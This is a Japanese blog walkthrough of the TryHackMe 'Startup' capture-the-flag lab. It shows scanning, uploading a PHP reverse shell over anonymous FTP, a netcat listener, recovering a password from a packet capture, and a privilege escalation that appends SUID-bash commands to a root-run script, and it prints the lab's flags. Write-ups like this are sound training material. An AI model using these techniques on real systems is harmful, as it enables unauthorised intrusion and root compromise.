0
0

【TryHackMe】Startup:Walkthrough

Posted at

概要

TryHackMe「Startup」のWalkthroughです。

Task1

Q1.What is the secret spicy soup recipe?

Hint.FTP and HTTP. What could possibly go wrong?

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.183.135 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
|   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_  256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.2p2
80 http Apache httpd 2.4.18

80番ポートでWebサービスにアクセスできました。

home page.jpg

ディレクトリの列挙を行います。

$ dirsearch -u http://10.10.183.135
[09:05:10] 301 -  314B  - /files  ->  http://10.10.183.135/files/
[09:05:10] 200 -  512B  - /files/

/filesにアクセスし画像とテキストファイルを発見しました。

imposter.jpg

/files/notice.txt
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.

FTPAnonymousでアクセスします。

$ ftp 10.10.183.135
Connected to 10.10.183.135.
220 (vsFTPd 3.0.3)
Name (10.10.183.135:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Webサービスと同様のファイルが見つかりました。

ftp> ls -la
229 Entering Extended Passive Mode (|||56066|)
150 Here comes the directory listing.
drwxr-xr-x    3 65534    65534        4096 Nov 12  2020 .
drwxr-xr-x    3 65534    65534        4096 Nov 12  2020 ..
-rw-r--r--    1 0        0               5 Nov 12  2020 .test.log
drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp
-rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt

全てのファイルをダウンロードし、確認しましたが悪用できそうな情報はありませんでした。

ftp> mget *

ファイル構成がWebサービスと同じかつftpディレクトリが書き込み可能なのでここにリバースシェルのペイロードファイルを作成できないか試みます。
まず、試しに適当なファイルを置いてみます。

ftp> put demo
local: demo remote: demo
229 Entering Extended Passive Mode (|||45015|)
150 Ok to send data.
100% |************************************************************************|     7      201.05 KiB/s    --:-- ETA
226 Transfer complete.
7 bytes sent in 00:00 (0.01 KiB/s)

ファイルが反映されました。

demo upload.jpg

同様にPHPのリバースシェルファイルをアップロードします。

ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||54420|)
150 Ok to send data.
100% |************************************************************************|  5685       50.66 MiB/s    --:-- ETA
226 Transfer complete.
5685 bytes sent in 00:00 (11.60 KiB/s)

rev php uplaoad.jpg

Netcatでリッスンし、リバースシェルファイルにアクセスるとwww-dataのシェルを取得できました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.183.135] 52828
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 13:41:07 up 43 min,  0 users,  load average: 0.00, 0.00, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

TTYを設定します。

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@startup:/$ tty
tty
/dev/pts/0

/recipe.txtを発見しました。

$ ls -la
-rw-r--r--   1 www-data www-data   136 Nov 12  2020 recipe.txt

ファイルの中身を閲覧すると答えがわかりました。

/recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love.

A.love

Q2.What are the contents of user.txt?

Hint.Something doesn't belong.

lennieアカウントへの昇格を目指します。

$ ls -l /home
ls -l /home
total 4
drwx------ 4 lennie lennie 4096 Nov 12  2020 lennie

/を再度見ると/incidentsフォルダを発見しました。

drwxr-xr-x   2 www-data www-data  4096 Nov 12  2020 incidents

/incidentsフォルダに移動し、suspicious.pcapngファイルを発見しました。

$ ls -l
ls -l
total 32
-rwxr-xr-x 1 www-data www-data 31224 Nov 12  2020 suspicious.pcapng

文字化けしていますがファイルの中身を注意深く見ていると、パスワードが要求された痕跡と文字列を発見しました。

/incidents/suspicious.pcapng
*�@     *�?�[sudo] password for www-data: �d�=:L�ƨDD�E4~@@��������\�����/5�|�@��
*�@     *�@     dx�=:���AWEG@@��������\�����/5�|�▒@��
*�J*�@  c4ntg3t3n0ughsp1c3

SSH接続に成功しました。

$ ssh lennie@10.10.183.135
$ bash
lennie@startup:~$ whoami
lennie

/home/lennie/user.txtからフラグを入手できます。

/home/lennie/user.txt
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}

A.THM{03ce3d619b80ccbfb3b7fc81e46c0e79}

Q3.What are the contents of root.txt?

Hint.Scripts...

pspyをKaliからダウンロードし、実行します。

./pspy32

rootが/home/lennie/scripts/planner.shを実行していると分かりました。

2024/07/20 14:14:01 CMD: UID=0     PID=2660   | /bin/bash /home/lennie/scripts/planner.sh

/home/lennie/scripts/planner.shの処理内容を見ると$LIST変数を/home/lennie/scripts/startup_list.txtに出力していると分かりました。

/home/lennie/scripts/planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh

そして/etc/print.shlennieで編集権限があり、実行していると分かりました。

$ ls -l /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12  2020 /etc/print.sh
/etc/print.sh
#!/bin/bash
echo "Done!"

/etc/print.shを編集します。

$ cd /tmp
$ echo "cp /bin/bash /tmp/bash" >> /etc/print.sh
$ echo "chmod u+s /tmp/bash" >> /etc/print.sh

SUIDが設定されたbashプログラムを作成できました。

lennie@startup:/tmp$ ls -la
total 4304
drwxrwxrwt  7 root   root      4096 Jul 20 14:26 .
drwxr-xr-x 25 root   root      4096 Jul 20 12:58 ..
-rwsr-xr-x  1 root   root   1037528 Jul 20 14:26 bash

実行し、権限昇格に成功しました。

$ /tmp/bash -p
bash-4.3# whoami
root

/root/root.txtからフラグを入手できます。

/root/root.txt
THM{f963aaa6a430f210222158ae15c3d76d}

A.THM{f963aaa6a430f210222158ae15c3d76d}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0